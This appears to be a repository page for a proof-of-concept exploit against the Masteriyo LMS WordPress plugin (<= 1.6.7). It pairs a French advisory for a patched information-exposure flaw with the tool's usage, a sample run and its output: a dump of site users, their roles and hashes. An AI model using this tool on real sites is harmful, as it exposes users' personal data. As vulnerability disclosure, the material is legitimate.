randomrobbiebf/learning-management-systemMasteriyo - LMS pour WordPress <= 1.6.7 - Exposition d'informations sensibles
Masteriyo - LMS pour WordPress <= 1.6.7 - Exposition d'informations sensibles
Type de logiciel Plugin
Slug du logiciel learning-management-system (voir sur wordpress.org)
Corrigé ? Oui
Correctif Mettez à jour vers la version 1.6.8, ou une version corrigée plus récente
Version affectée < 1.6.8
Version corrigée 1.6.8
Exposition d'informations
Vecteur CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS 6.5 (Moyen)
Le plugin Masteriyo - LMS pour WordPress est vulnérable à l'exposition d'informations sensibles dans les versions jusqu'à la 1.6.7 incluse, via le rappel REST 'get_item'. Cela peut permettre à des attaquants authentifiés d'extraire des données sensibles, y compris les métadonnées utilisateur.
usage: lms.py [-h] -w URL -u USERNAME -p PASSWORD
WordPres
options:
-h, --help show this help message and exit
-w URL, --url URL URL of the WordPress site
-u USERNAME, --username USERNAME
Username of your wordpress user
-p PASSWORD, --password PASSWORD
Password of your wordpress password
python3 lms.py -w http://wordpress.lan -u user -p useruser1
Logged in successfully.
Nonce Value: 91b27ef4d1
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| ID | Username | Nicename | Email | Status | Roles | Profile Image |
+======+=============+=============+===========================+==========+=======================+=============================================================================+
| 9 | test | test | [email protected] | 0 | ['masteriyo_student'] | http://2.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 8 | agent | agent | [email protected] | 0 | ['subscriber'] | http://1.gravatar.com/avatar/4a0e0a5d4619c3564b0e60b2ae973ff8?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 7 | tagent | tagent | [email protected] | 0 | ['subscriber'] | http://0.gravatar.com/avatar/01f353506595eeba4df1a52b35bfdee1?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 5 | Kety_Spear | kety_spear | [email protected] | 0 | ['wdk_agent'] | http://0.gravatar.com/avatar/fedf00660c526608cd5c90df793148fb?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 4 | Garry_Novan | garry_novan | [email protected] | 0 | ['wdk_agent'] | http://0.gravatar.com/avatar/fbc680fbc163811bea4e61ff43cccd59?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 3 | Debra_Moran | debra_moran | [email protected] | 0 | ['wdk_agent'] | http://1.gravatar.com/avatar/7f119498e0ed4df002f6676e1b8b1b07?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 2 | user | user | [email protected] | 0 | ['subscriber'] | http://2.gravatar.com/avatar/b58996c504c5638798eb6b511e6f49af?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
| 1 | admin | admin | [email protected] | 0 | ['administrator'] | http://0.gravatar.com/avatar/64e1b8d34f425d19e1ee2ea7236d3028?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+